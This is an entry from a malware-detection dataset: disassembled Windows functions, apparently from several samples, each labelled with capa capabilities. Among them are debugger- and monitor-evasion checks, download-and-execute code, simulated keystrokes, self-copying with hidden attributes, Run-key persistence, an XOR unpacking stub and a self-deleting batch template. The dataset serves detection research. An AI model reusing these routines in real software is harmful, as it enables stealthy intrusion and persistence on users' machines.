joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415774
Capabilities:
Get graphical window text
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4381f2
mov eax, dword fs:[0]
push eax
sub esp, 0x830
mov eax, dword [0x447394]
xor eax, esp
mov dword [esp + 0x828], eax
push ebx
push esi
push edi
mov eax, dword [0x447394]
xor eax, esp
push eax
lea eax, [esp + 0x840]
mov dword fs:[0], eax
mov edi, ecx
cmp byte [edi + 0x16a], 0
jne 0x415904
mov ecx, dword [edi + 0x108]
xor ebx, ebx
cmp ecx, ebx
je 0x4157e2
mov edx, dword [edi - 0x38]
mov esi, dword [ecx]
push ebx
mov eax, 0x3e8
push eax
push ebx
push eax
push edx
push ecx
call dword [esi + 0x24]
push dword [edi + 0xa4]
mov byte [edi - 3], bl
mov byte [esp + 0x1b], 1
call fcn.00410e0e
test al, al
je 0x415887
mov eax, dword [edi - 0x38]
push 0x400
lea ecx, [esp + 0x38]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push str.Cannot_download_file_from:_r_n
lea esi, [esp + 0x1c]
call fcn.004052d9
push 0xffffffffffffffff
push ebx
lea eax, [edi + 0x10c]
mov dword [esp + 0x850], ebx
call fcn.00405f52
push str._r_n_Do_you_want_to_continue_
mov eax, esi
push eax
call fcn.00405c17
cmp dword [esp + 0x30], 8
mov ecx, dword [esp + 0x1c]
jae 0x415850
lea ecx, [esp + 0x1c]
mov eax, dword [edi - 0x38]
push 4
lea edx, [esp + 0x38]
push edx
push ecx
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
jne 0x41586c
mov byte [esp + 0x17], 0
or dword [esp + 0x848], 0xffffffff
push ebx
push 1
lea esi, [esp + 0x20]
call fcn.00405329
cmp byte [esp + 0x17], 0
je 0x4158fb
mov eax, dword [edi - 0x38]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetDlgItem]
push 0x37
push eax
call ebx
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call esi
mov eax, dword [edi - 0x38]
push 0
push 0x32
push eax
call ebx
push eax
call esi
mov eax, dword [edi - 0x38]
push 0
push 0x33
push eax
call ebx
push eax
call esi
mov eax, dword [edi - 0x38]
push 5
push 0x36
push eax
call ebx
push eax
call esi
mov eax, dword [edi - 0x38]
push 5
push 0x35
push eax
call ebx
push eax
call esi
push 9
push dword [edi - 0x38]
call esi
push dword [edi - 0x38]
call dword [sym.imp.USER32.dll_UpdateWindow]
lea esi, [edi - 0x40]
call fcn.0040c1f0
push 0x1d20
push dword [edi - 0x38]
call dword [sym.imp.USER32.dll_KillTimer]
jmp 0x415904
push ebx
add edi, 0xffffffc0
call fcn.0040c0e0
mov ecx, dword [esp + 0x840]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x828]
xor ecx, esp
call fcn.00422a42
mov esp, ebp
pop ebp
ret 4

Function at 0x415b28
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x3d], 1
jne 0x415b43
push 0
push dword [esi + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.0040c251
pop esi
ret
push edi
push 0
mov edi, esi
call fcn.0040c0e0
pop edi
pop esi
ret
Function at 0x422a42
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x447394]
jne 0x422a4c
repz ret
jmp fcn.00427bd1

Function at 0x4322a5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00428a4a
and dword [ebp - 4], 0
cmp dword [0x449afc], 0
mov ebx, eax
jne 0x432356
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x432407
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x432407
push eax
call fcn.004289d8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x449afc], eax
call esi
push eax
call fcn.004289d8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x449b00], eax
call esi
push eax
call fcn.004289d8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x449b04], eax
call esi
push eax
call fcn.004289d8
pop ecx
mov dword [0x449b0c], eax
test eax, eax
je 0x432356
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004289d8
pop ecx
mov dword [0x449b08], eax
mov eax, dword [0x449b08]
cmp eax, ebx
je 0x4323ae
cmp dword [0x449b0c], ebx
je 0x4323ae
push eax
call fcn.00428a53
push dword [0x449b0c]
mov esi, eax
call fcn.00428a53
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4323ae
test edi, edi
je 0x4323ae
call esi
test eax, eax
je 0x4323a5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4323a5
test byte [ebp - 0xc], 1
jne 0x4323ae
or dword [ebp + 0x10], 0x200000
jmp 0x4323e7
mov eax, dword [0x449b00]
cmp eax, ebx
je 0x4323e7
push eax
call fcn.00428a53
pop ecx
test eax, eax
je 0x4323e7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4323e7
mov eax, dword [0x449b04]
cmp eax, ebx
je 0x4323e7
push eax
call fcn.00428a53
pop ecx
test eax, eax
je 0x4323e7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x449afc]
call fcn.00428a53
pop ecx
test eax, eax
je 0x432407
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x432409
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4012c5
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40df15
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x1c]
call fcn.004014f0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1c]
push ecx
push str.Wireshark
call fcn.00401078
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.00401590
and eax, 0xff
test eax, eax
je 0x401317
jmp 0x40131f
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00401530
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x401346
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40df28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x1c]
call fcn.004014f0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1c]
push ecx
push str.tcpview
call fcn.00401078
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.00401590
and eax, 0xff
test eax, eax
je 0x401398
jmp 0x4013a0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00401530
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x4013c7
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40df3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x1c]
call fcn.004014f0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1c]
push ecx
push str.filemon
call fcn.00401078
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.00401590
and eax, 0xff
test eax, eax
je 0x401419
jmp 0x401421
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00401530
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x401448
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40df4e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x1c]
call fcn.004014f0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1c]
push ecx
push str.procmon
call fcn.00401078
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.00401590
and eax, 0xff
test eax, eax
je 0x40149a
jmp 0x4014a2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00401530
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x401f72
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0
mov dword [ebp - 8], 0
jmp 0x401fa6
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 8]
add edx, 1
mov dword [ebp + 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x10]
jge 0x402018
mov ecx, dword [ebp + 8]
mov dl, byte [ecx]
push edx
call dword [sym.imp.USER32.dll_VkKeyScanA]
mov word [ebp - 4], ax
movsx eax, word [ebp - 4]
sar eax, 8
and eax, 1
test eax, eax
je 0x401fe1
push 0
push 0
push 0
push 0xa0
call dword [sym.imp.USER32.dll_keybd_event]
mov byte [ebp - 0xc], 1
push 0
push 0
push 0
mov cl, byte [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
mov edx, dword [ebp - 0xc]
and edx, 0xff
test edx, edx
je 0x402013
push 0
push 2
push 0
push 0xa0
call dword [sym.imp.USER32.dll_keybd_event]
mov byte [ebp - 0xc], 0
jmp 0x401f94
mov esp, ebp
pop ebp
ret

Function at 0x40201c
Capabilities:
Download url
Hide graphical window
Receive data

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.00401f5b
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402038
mov eax, 1
jmp 0x4020f8
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x402059
mov eax, 2
jmp 0x4020f8
push 1
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
push str.open
push 0
call dword [0x413d4c]
cmp eax, 0x20
jg 0x40207c
mov eax, 3
jmp 0x4020f8
push 5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4020bb
mov eax, 4
jmp 0x4020f8
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp + 0x10]
movsx eax, byte [edx]
test eax, eax
je 0x4020dc
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00401f72
add esp, 4
push 0
push 0
push 0
push 0xd
call dword [sym.imp.USER32.dll_keybd_event]
push 6
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4054ed
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
push 0x14
push 0
push 0x413a4c
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x14
lea eax, [ebp - 0x14]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [ebp - 0x14]
push ecx
push 0x411a80
push 0x413a4c
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0x413a4c
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x18], eax
jmp 0x40554c
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [eax + 0x20]
jg 0x405573
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xa
idiv ecx
add edx, 0x30
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x413a4c], dl
jmp 0x405543
mov eax, 0x413a4c
mov esp, ebp
pop ebp
ret

Function at 0x40557c
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov dword [ebp - 0xa0], ecx
push 0x14
push 0
push 0x413620
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4056be
cmp dword [ebp - 0x90], 4
jne 0x4055f8
cmp dword [ebp - 0x8c], 0
jne 0x4055f8
cmp dword [ebp - 0x84], 1
jne 0x4055e0
mov dword [ebp - 0x98], 0x411a84
cmp dword [ebp - 0x84], 2
jne 0x4055f3
mov dword [ebp - 0x98], 0x411a88
jmp 0x4056bc
cmp dword [ebp - 0x90], 4
jne 0x405619
cmp dword [ebp - 0x8c], 0xa
jne 0x405619
mov dword [ebp - 0x98], 0x411a8c
jmp 0x4056bc
cmp dword [ebp - 0x90], 4
jne 0x40563a
cmp dword [ebp - 0x8c], 0x5a
jne 0x40563a
mov dword [ebp - 0x98], 0x411a90
jmp 0x4056bc
cmp dword [ebp - 0x90], 5
jne 0x405658
cmp dword [ebp - 0x8c], 0
jne 0x405658
mov dword [ebp - 0x98], 0x411a94
jmp 0x4056bc
cmp dword [ebp - 0x90], 5
jne 0x405676
cmp dword [ebp - 0x8c], 1
jne 0x405676
mov dword [ebp - 0x98], 0x411a98
jmp 0x4056bc
cmp dword [ebp - 0x90], 5
jne 0x405694
cmp dword [ebp - 0x8c], 2
jne 0x405694
mov dword [ebp - 0x98], str.2K3_
jmp 0x4056bc
cmp dword [ebp - 0x90], 6
jne 0x4056b2
cmp dword [ebp - 0x8c], 0
jne 0x4056b2
mov dword [ebp - 0x98], str.VIS_
jmp 0x4056bc
mov dword [ebp - 0x98], 0x411aac
jmp 0x4056c8
mov dword [ebp - 0x98], str.UNK_
mov ecx, dword [ebp - 0x98]
push ecx
push 0x413620
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
push 0x413620
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x9c], eax
jmp 0x405701
mov edx, dword [ebp - 0x9c]
add edx, 1
mov dword [ebp - 0x9c], edx
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
cmp ecx, dword [eax + 0x20]
jg 0x405731
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xa
idiv ecx
add edx, 0x30
mov eax, dword [ebp - 0x9c]
mov byte [eax + 0x413620], dl
jmp 0x4056f2
mov eax, 0x413620
mov esp, ebp
pop ebp
ret
Function at 0x40583d
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], ecx
push 0x14
push 0
push 0x413a8c
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x5265c00
div ecx
mov dword [ebp - 0x20], eax
push 0x411ac8
push 0x413a8c
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
push 0x14
lea edx, [ebp - 0x14]
push edx
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [ebp - 0x14]
push eax
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x411acc
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
mov ecx, dword [ebp - 0x20]
push ecx
push 0x411ad0
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov dword [eax + 0x24], ecx
lea edx, [ebp - 0x1c]
push edx
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x411ad8
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push 0x411adc
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x405917
push 0x411af0
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push str.MSNHiddenWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x405944
mov eax, dword [ebp - 0x28]
mov dword [eax + 0x28], 1
push 0x411b0c
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push 0x411b10
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x405967
push 0x411b24
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
call fcn.00401f5b
test eax, eax
je 0x405982
push 0x411b28
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push str.TskMultiChatForm.UnicodeClass
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x4059a5
push 0x411b4c
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push str.Message_Session
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x4059c8
push 0x411b60
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x4135b8
call fcn.00403fe7
add esp, 4
test eax, eax
je 0x4059f5
mov ecx, dword [ebp - 0x28]
mov dword [ecx + 0x2c], 1
push 0x411b64
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
cmp dword [0x413e64], 0
jne 0x405a34
push 0
push 0
push 0
lea edx, [ebp - 0x24]
push edx
call dword [0x413cfc]
mov eax, dword [ebp - 0x24]
and eax, 1
test eax, eax
je 0x405a34
push 0x411b68
push 0x413a8c
call sub.MSVCRT.dll_strcat
add esp, 8
mov ecx, dword [ebp - 0x28]
mov dword [ecx + 0x30], 1
mov eax, 0x413a8c
mov esp, ebp
pop ebp
ret
Function at 0x405ce3
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x520
push 0x104
lea eax, [ebp - 0x410]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x411b8c
push 0x104
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea ecx, [ebp - 0x410]
push ecx
lea edx, [ebp - 0x104]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x104]
push eax
call dword [0x413d6c]
push 0x104
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x104
lea edx, [ebp - 0x30c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x514]
push eax
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x405e4c
lea edx, [ebp - 0x514]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x405db2
push 0x80
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x518], 0
mov dword [ebp - 0x51c], 0
push 0
lea ecx, [ebp - 0x514]
push ecx
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 0
jne 0x405e2d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x518], 0
jne 0x405e29
cmp dword [ebp - 0x520], 0x20
je 0x405e12
cmp dword [ebp - 0x520], 5
jne 0x405e29
mov dword [ebp - 0x518], 1
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405e2b
jmp 0x405e2d
jmp 0x405dc6
push 7
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp dword [ebp - 0x51c], 0
je 0x405e4c
mov eax, 1
jmp 0x405e4e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40636d
Capabilities:
Get common file path
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
lea eax, [ebp - 0x610]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
lea ecx, [ebp - 0x104]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 9
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 9
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 9
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 9
idiv ecx
push edx
lea edx, [ebp - 0x610]
push edx
push str._s_rmme_i_i_i_i.bat
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
push 0x80
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jbe 0x4064e9
cmp dword [ebp + 8], 0
jne 0x40646e
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x104]
push edx
push str._echo_off_r_n:Repeat_r_ndel___s__nul_r_nping_0.0.0.0_nul_r_nif_exist___s__goto_Repeat_r_ndel____0__r_n
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x406498
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x104]
push eax
push str._echo_off_r_n:Repeat_r_ndel___s__nul_r_nif_exist___s__goto_Repeat_r_ndel____0__r_n
lea ecx, [ebp - 0x810]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
push 0
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x810]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea ecx, [ebp - 0x810]
push ecx
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea ecx, [ebp - 0x210]
push ecx
push 0
push 0
call dword [0x413d4c]
mov esp, ebp
pop ebp
ret
Function at 0x4064ed
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x411680
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionTerminal_ServerInstallSoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x411680
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x41360c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
cmp dword [ebp + 8], 0
jne 0x40659c
call fcn.0040d84d
push 0
call fcn.0040636d
add esp, 4
mov esp, ebp
pop ebp
ret